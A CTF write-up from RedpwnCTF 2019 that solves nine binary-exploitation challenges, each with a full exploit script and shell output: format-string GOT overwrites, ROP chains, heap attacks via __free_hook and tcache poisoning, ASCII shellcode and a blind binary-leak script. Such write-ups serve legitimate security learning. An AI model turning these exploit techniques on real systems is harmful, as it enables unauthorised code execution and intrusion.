RedpwnCTF 2019 had been held from Aug 12th to 16th and I played this CTF in zer0pts
.
We got 4433pts and reached 29th place.
I gained 3605pts, solving mostly pwn and some forensics, misc, crypto, rev challs. In this post I'll write only about pwn challs as others are guessing / boring. Anyway thank you for hosting the CTF :)
- [Pwn 50pts] BabbyPwn
- [Pwn 50pts] Rot26
- [Pwn 50pts] Zipline
- [Pwn 50pts] Bronze Ropchain
- [Pwn 280pts] Stop, ROP,n', Roll
- [Pwn 344pts] Dennis Says
- [Pwn 413pts] Knuth
- [Pwn 413pts] Black Echo
- [Pwn 436pts] penpal world
The tasks and my solvers are available here.
[Pwn 50pts] BabbyPwn
Server: nc chall2.2019.redpwn.net 4001
Just nc to the server.
[Pwn 50pts] Rot26
Server: nc chall2.2019.redpwn.net 4003 Files: rot26.c rot26
It's a 32-bit ELF.
checksec -f rot26 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 78 Symbols No 0 4 rot26
The binary has a format string vulnerability.
As it calls exit
after printf
and has winners_room
function which executes shell, we can easily take the shell by overwriting the GOT entry.
from ptrlib import * elf = ELF("./rot26") sock = Socket("chall.2019.redpwn.net", 4003) writes = { elf.got("exit"): elf.symbol("winners_room") } payload = fsb( writes = writes, pos = 7, bs = 1, bits = 32 ) print(payload) sock.sendline(payload) sock.interactive()
Good.
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4003 b' \xa0\x04\x08!\xa0\x04\x08"\xa0\x04\x08#\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn' [ptrlib]$ !"# Please, take a shell! cat flag.txt [ptrlib]$ flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}
[Pwn 50pts] Zipline
Server: nc chall2.2019.redpwn.net 4005 File: zipline
It's a 32-bit ELF and has simple Stack Overflow vulnerability.
There are 8 variables named a
to h
and if these are not zero, we can get the shell.
I called gets@plt
to overwrite those variables.
from ptrlib import * #sock = Process("./zipline") sock = Socket("chall2.2019.redpwn.net", 4005) elf = ELF("./zipline") rop_pop_ebx = 0x08049021 plt_gets = 0x08049060 payload = b'A' * 0x16 payload += p32(plt_gets) payload += p32(0x8049569) payload += p32(elf.symbol("a")) sock.sendlineafter("hell?", payload) sock.sendline("A" * 0x8) sock.interactive()
OK.
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4005 [ptrlib]$ flag{h0w_l0w_c4n_u_g0_br0}
[Pwn 50pts] Bronze Ropchain
Description: I love meeting new people. Server: nc chall2.2019.redpwn.net 4004 File: bronze_ropchain
It's a statically linked 32-bit binary and has a simple Stack Overflow vulnerability. I'm not familiar with 32-bit pwn, let alone statically linked ones :(
After several attemps, I finally made a crazy ROP chain to get the shell.
from ptrlib import * sock = Socket("chall2.2019.redpwn.net", 4004) #sock = Process("./bronze_ropchain") elf = ELF("./bronze_ropchain") elf_base = 0x8048000 #rop_pop_eax = 0x080a8e86 rop_xor_eax_81fffb22 = 0x08096547 rop_pop_ebx = 0x080481c9 rop_pop_edx = 0x0806ef2b rop_xchg_eax_ebx = 0x0804a2eb rop_xchg_eax_edx = 0x0808286a rop_xchg_eax_edi = 0x08077541 rop_pop_ecx_ebx = 0x0806ef52 rop_int80 = 0x0806f860 rop_inc_ecx = 0x080c4b74 var = elf.section(".bss") + 0x100 payload = b"A" * 0x1c ## read(0, var, 8) # ecx = var payload += p32(rop_pop_ecx_ebx) payload += p32(var) payload += p32(0xdeadbeef) # ebx = 0 payload += p32(rop_pop_edx) payload += p32(0x81fffb22) payload += p32(rop_xchg_eax_edx) payload += p32(rop_xor_eax_81fffb22) payload += p32(rop_xchg_eax_ebx) # eax = 3 payload += p32(rop_pop_edx) payload += p32(0x81fffb22 ^ 0x03) payload += p32(rop_xchg_eax_edx) payload += p32(rop_xor_eax_81fffb22) payload += p32(rop_xchg_eax_edi) # edx = 8 payload += p32(rop_pop_edx) payload += p32(0x81fffb22 ^ 0x08) payload += p32(rop_xchg_eax_edx) payload += p32(rop_xor_eax_81fffb22) payload += p32(rop_xchg_eax_edx) # int 0x80 payload += p32(rop_xchg_eax_edi) payload += p32(rop_int80) ## execve(var, 0, 0) # ecx = 0 payload += p32(rop_pop_ecx_ebx) payload += p32(0xffffffff) payload += p32(0xdedabeef) payload += p32(rop_inc_ecx) # ebx = 'sh\x00' payload += p32(rop_pop_ebx) payload += p32(var) # eax = 0x0b (execve) payload += p32(rop_pop_edx) payload += p32(0x81fffb22 ^ 0x0b) payload += p32(rop_xchg_eax_edx) payload += p32(rop_xor_eax_81fffb22) payload += p32(rop_xchg_eax_edi) # edx = 0 payload += p32(rop_pop_edx) payload += p32(0x81fffb22) payload += p32(rop_xchg_eax_edx) payload += p32(rop_xor_eax_81fffb22) payload += p32(rop_xchg_eax_edx) # int 0x80 payload += p32(rop_xchg_eax_edi) payload += p32(rop_int80) payload += b"AAAA" print(payload) assert b'\n' not in payload assert b'\0' not in payload sock.sendlineafter("name?\n", payload) sock.sendlineafter("day?\n", "") sock.send("/bin/sh\x00") sock.interactive()
Perfect!
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4004 b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAR\xef\x06\x08 \xb4\r\x08\xef\xbe\xad\xde+\xef\x06\x08"\xfb\xff\x81j(\x08\x08Ge\t\x08\xeb\xa2\x04\x08+\xef\x06\x08!\xfb\xff\x81j(\x08\x08Ge\t\x08Au\x07\x08+\xef\x06\x08*\xfb\xff\x81j(\x08\x08Ge\t\x08j(\x08\x08Au\x07\x08`\xf8\x06\x08R\xef\x06\x08\xff\xff\xff\xff\xef\xbe\xda\xdetK\x0c\x08\xc9\x81\x04\x08 \xb4\r\x08+\xef\x06\x08)\xfb\xff\x81j(\x08\x08Ge\t\x08Au\x07\x08+\xef\x06\x08"\xfb\xff\x81j(\x08\x08Ge\t\x08j(\x08\x08Au\x07\x08`\xf8\x06\x08AAAA' [ptrlib]$ cat flag.txt [ptrlib]$ flag{I've_n3v3r_he4rd_th4t_nam3_b3fore._Are_u_f0reign?}
[Pwn 280pts] Stop, ROP,n', Roll
Description: There's not really much I can say about this challenge... The bytes speak for themselves. Good luck!!! Server: nc chall2.2019.redpwn.net 4008 File: srnr
The binary again has a Stack Overflow vulnerability but this time it's a 64-bit ELF.
As we are not given a libc binary and the PIE is disabled, I tried ROP to get the shell.
There are some unreferenced functions and one of them is sub_4006ff
which just executes syscall
.
I used the following ROP gadgets to call read(0, bss+0x100, 0x????);
in order to write "/bin/sh". (Fortunately rdx is set to a valid value.)
However, we have to set rdx to 0 when calling execve("/bin/sh", NULL, NULL);
.
I used __libc_csu_init
to set rdx and call sub_4006ff
.
from ptrlib import * import time elf = ELF("./srnr") #sock = Process("./srnr") sock = Socket("chall2.2019.redpwn.net", 4008) plt_read = 0x4005d0 addr_csu_pop = 0x40081a addr_csu_init = 0x400800 addr_syscall = 0x400703 rop_pop_rdi = 0x00400823 rop_pop_rsi_r15 = 0x00400821 var = elf.section(".bss") + 0x100 sock.sendlineafter("bytes: ", "0") payload = b"A" * 17 payload += p64(rop_pop_rdi) payload += p64(0) payload += p64(rop_pop_rsi_r15) payload += p64(var) payload += p64(0xdeadbeef) payload += p64(plt_read) payload += p64(addr_csu_pop) payload += p64(0) # rbx: 0 payload += p64(1) # rbp: 1 payload += p64(var) # r12-->func payload += p64(var + 8) # r13-->edi payload += p64(0) # r14-->rsi payload += p64(0) # r15-->rdx payload += p64(addr_csu_init) sock.send(payload) time.sleep(1) payload = p64(addr_syscall) + b"/bin/sh\x00" payload += b"A" * (59 - len(payload)) # execve sock.send(payload) sock.interactive()
Great.
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4008 [ptrlib]$ cat flag.txt [ptrlib]$ flag{sr0p_is_fir3.||-----------------------------();<>{}[]--0081734012870871238471632974132074}
[Pwn 344pts] Dennis Says
Description: It's like "Simon Says," but with less memory safety. Server: nc chall2.2019.redpwn.net 4006 Files: dennis.c dennis libc-2.23.so
Seems it's a heap challenge.
The binary has several functions and the significant vulnerability is heap overflow and use after free.
I leaked the libc address by linking the freed chunk to main_arena
.
After that I was stuck, read the source code and found another vulnerability.
We can write to arbitrary address in the yeet
function.
So, it's much easier than I had expected :)
from ptrlib import * def malloc(size): sock.sendlineafter("Command me: ", "1") sock.sendlineafter(" : ", str(size)) return def read(size): sock.sendlineafter("Command me: ", "2") sock.sendlineafter(": ", str(size)) return sock.recv(size) def write(data): sock.sendlineafter("Command me: ", "4") sock.sendlineafter(": ", data) return def free(): sock.sendlineafter("Command me: ", "5") return def yeet(): sock.sendlineafter("Command me: ", "3") return def repeat(data): sock.sendlineafter("Command me: ", "6") sock.sendlineafter("Dennis repeat\n", data) return sock.recvline() #sock = Process("./dennis") #libc = ELF("/lib32/libc-2.27.so") libc = ELF("./libc-2.23.so") sock = Socket("chall2.2019.redpwn.net", 4006) #sock = Socket("localhost", 9999) libc_main_arena = 0x1b0780 delta = 0x30 # libc leak malloc(0x20) free() malloc(0x30) free() malloc(0x40) free() malloc(0x20) free() libc_base = u32(read(8)[4:8]) - libc_main_arena - delta logger.info("libc = " + hex(libc_base)) # overwrite __free_hook malloc(0x10) write(p32(libc_base + libc.symbol("system")) + p32(libc_base + libc.symbol("__free_hook"))) yeet() # get the shell malloc(0x10) write("/bin/sh\x00") free() sock.interactive()
Since RELRO is disabled, it's easier to overwrite the GOT entries to leak the address and get the shell.
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4006 [+] <module>: libc = 0xf7dae000 [ptrlib]$ Dennis delet cat flag.txt [ptrlib]$ flag{1f_y0u'r3_r3ad1ng_th1s,_t3ll_0rg4niz3r_TPA_t0_d0_h1s_h0mew0rk}
[Pwn 413pts] Knuth
Server: nc chall2.2019.redpwn.net 4009 File: knuth
It's a x86 ascii shellcode challenge. However, some bytes in the shellcode turns into 0x00 somehow. (Actually I didn't analyse the binary.) The following is my final shellcode:
0: 21 54 24 71 and DWORD PTR [esp+0x71],edx 4: 50 push eax 5: 59 pop ecx 6: 66 35 70 23 xor ax,0x2370 a: 4a dec edx b: 21 54 24 71 and DWORD PTR [esp+0x71],edx f: 4a dec edx 10: 4a dec edx 11: 66 35 70 21 xor ax,0x2170 15: 21 54 24 71 and DWORD PTR [esp+0x71],edx 19: 50 push eax 1a: 5c pop esp 1b: 21 54 24 71 and DWORD PTR [esp+0x71],edx 1f: 6a 30 push 0x30 21: 58 pop eax 22: 34 30 xor al,0x30 24: 50 push eax 25: 50 push eax 26: 50 push eax 27: 50 push eax 28: 51 push ecx 29: 50 push eax 2a: 61 popa 2b: 4a dec edx 2c: 52 push edx 2d: 58 pop eax 2e: 34 44 xor al,0x44 30: 6a 37 push 0x37 32: 59 pop ecx 33: 30 44 4e 30 xor BYTE PTR [esi+ecx*2+0x30],al 37: 52 push edx 38: 58 pop eax 39: 35 30 32 41 30 xor eax,0x30413230 3e: 35 72 39 73 4f xor eax,0x4f733972 43: 50 push eax 44: 54 push esp 45: 59 pop ecx 46: 30 31 xor BYTE PTR [ecx],dh 48: 41 inc ecx 49: 30 31 xor BYTE PTR [ecx],dh 4b: 52 push edx 4c: 58 pop eax 4d: 35 30 30 44 30 xor eax,0x30443030 52: 35 63 46 5a 42 xor eax,0x425a4663 57: 50 push eax 58: 54 push esp 59: 59 pop ecx 5a: 30 31 xor BYTE PTR [ecx],dh 5c: 53 push ebx 5d: 58 pop eax 5e: 35 34 30 44 30 xor eax,0x30443034 63: 35 5a 46 58 62 xor eax,0x6258465a 68: 50 push eax 69: 54 push esp 6a: 59 pop ecx 6b: 41 inc ecx 6c: 30 31 xor BYTE PTR [ecx],dh 6e: 41 inc ecx 6f: 30 31 xor BYTE PTR [ecx],dh 71: 53 push ebx 72: 58 pop eax 73: 35 30 41 30 30 xor eax,0x30304130 78: 35 58 6e 52 59 xor eax,0x59526e58 7d: 50 push eax 7e: 53 push ebx 7f: 58 pop eax 80: 35 41 41 30 30 xor eax,0x30304141 85: 35 6e 6e 43 58 xor eax,0x58436e6e 8a: 50 push eax 8b: 53 push ebx 8c: 58 pop eax 8d: 35 41 41 30 30 xor eax,0x30304141 92: 35 70 6c 62 58 xor eax,0x58626c70 97: 50 push eax 98: 54 push esp 99: 59 pop ecx 9a: 41 inc ecx 9b: 30 31 xor BYTE PTR [ecx],dh 9d: 54 push esp 9e: 78 .byte 0x78
The basic idea is same as this.
$ nc chall2.2019.redpwn.net 4009 [🔒] He protec [Ω ] He TeX !T$qPYf5p#J!T$qJJf5p!!T$qP\!T$qj0X40PPPPQPaJRX4Dj7Y0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx But most importantly [💸] He chec cat flag.txt flag{ok so basically, this is a flag-~-urfnatoufnruiantoeakolfhepicqniuwnfkteoikcoyuqnouqnwfounoakfentou}
[Pwn 413pts] Black Echo
Description: You are trapped in a pitch-black cave with no food, water, flashlight, or self-esteem. A faint echo can be heard in the distance. Server: nc chall2.2019.redpwn.net 4007
OK, it's a blind pwn challenge. The server seems to have a format string vulnerability.
$ nc chall2.2019.redpwn.net 4007 test test %p.%p.%p.%p.%p.%p.%p.%p.%p 0x1000.0xf7fb15a0.0x8048510.(nil).(nil).(nil).0x252e7025.0x70252e70.0x2e70252e
I leaked the running binary using this script:
from ptrlib import * sock = Socket("chall2.2019.redpwn.net", 4007) f = open("binary", "wb") elf = b'' addr = 0x08048000 pos = 11 for i in range(8000): payload = str2bytes("%{:08d}$sX".format(pos) + "X" * 4) + p32(addr) if b'\n' in payload: elf += b'\x00' addr += 1 continue sock.sendline(payload) data = sock.recv(timeout=10) if data is not None: data = data[:data.index(b"XXXXX")] if data == b'': data = b'\x00' print(hex(addr), data) elf += data addr += len(data) f.seek(0) f.write(elf) sock.interactive()
After successfully leaked the whole binary, I analysed it with IDA and specified the GOT addresses of each functions like this:
The next thing to do is to find the libc version.
Fortunately the libc was same as that of Dennis Says challenge.
So, I could easily get the shell by overwriting printf
to system
.
from ptrlib import * libc = ELF("./libc-2.23.so") sock = Socket("chall2.2019.redpwn.net", 4007) got_printf = 0x804a010 got_fgets = 0x804a014 got_setbuf = 0x804a00c # leak libc payload = p32(got_printf) + b"%7$s" sock.sendline(payload) libc_base = u32(sock.recv()[4:8]) - libc.symbol("printf") logger.info("libc = " + hex(libc_base)) # get shell writes = { got_printf: libc_base + libc.symbol("system") } payload = fsb( writes = writes, bs = 1, pos = 7, bits = 32 ) sock.sendline(payload) print(sock.recv()) sock.sendline("/bin/sh") sock.interactive()
Great.
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4007 [+] <module>: libc = 0xf7dc9000 b'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08 \x00 \xa0 \x10 \x00\n' [ptrlib]$ cat flag.txt [ptrlib]$ flag{__xXxxXx__w3lc0me_t0_th3_surf4c3__xXxxXx__}
[Pwn 436pts] penpal world
Description: Please don't decimate this cute lil ish; write your grandmother a smol parcel of love instead~ Server: nc chall2.2019.redpwn.net 4010 Files: libc-2.27.so penpal_world
It's a heap challenge and this time it's libc-2.27 :)
We can create 2 letters and the allocated size is fixed to 0x48. Also, we can choose options only 0x21 times. As there is a simple double free vulnerability, we can easily get the shell if we have the libc address. So, what we need to do is overlap a chunk to modify the size header. I created some fake chunks since unsorted bin has strict security checks.
from ptrlib import * cnt = 0 def create(index): global cnt cnt += 1 sock.sendlineafter("Read a postcard\n", "1") sock.sendlineafter("#?\n", str(index)) return def edit(index, data): global cnt cnt += 1 sock.sendlineafter("Read a postcard\n", "2") sock.sendlineafter("#?\n", str(index)) sock.sendafter("Write.\n", data) return def read(index): global cnt cnt += 1 sock.sendlineafter("Read a postcard\n", "4") sock.sendlineafter("#?\n", str(index)) return sock.recvline() def discard(index): global cnt cnt += 1 sock.sendlineafter("Read a postcard\n", "3") sock.sendlineafter("#?\n", str(index)) return #sock = Process("./penpal_world") sock = Socket("chall2.2019.redpwn.net", 4010) libc = ELF("./libc-2.27.so") libc_main_arena = 0x3ebc40 delta = 0x60 # leak heap address create(0) create(1) payload = b"A" * 0x38 payload += p64(0x50) edit(0, payload) edit(1, payload) discard(0) discard(0) addr_heap = u64(read(0)) logger.info("heap = " + hex(addr_heap)) # fake chunk edit(0, p64(addr_heap + 0x40 + 0x500)) create(0) create(0) edit(0, p64(0) + p64(0x51)) create(0) discard(0) discard(0) # fake chunk 2 edit(0, p64(addr_heap + 0x40 + 0x500 + 0x50)) create(0) create(0) edit(0, p64(0) + p64(0x51)) create(0) discard(0) discard(0) # chunk overlap edit(0, p64(addr_heap + 0x40)) create(0) create(0) edit(0, p64(0) + p64(0x501)) discard(1) libc_base = u64(read(1)) - libc_main_arena - delta logger.info("libc = " + hex(libc_base)) #create(0) # mottainai discard(0) discard(0) # tcache poisoning edit(0, p64(libc_base + libc.symbol("__free_hook") - 8)) create(0) create(0) edit(0, b"/bin/sh\x00" + p64(libc_base + libc.symbol("system"))) discard(0) sock.interactive()
Perfect!
$ python solve.py [+] __init__: Successfully connected to chall2.2019.redpwn.net:4010 [+] <module>: heap = 0x55638086d260 [+] <module>: libc = 0x7efc534bb000 [ptrlib]$ cat flag.txt [ptrlib]$ flag{0h_n0e5_sW1p3r_d1D_5w!peEEeE}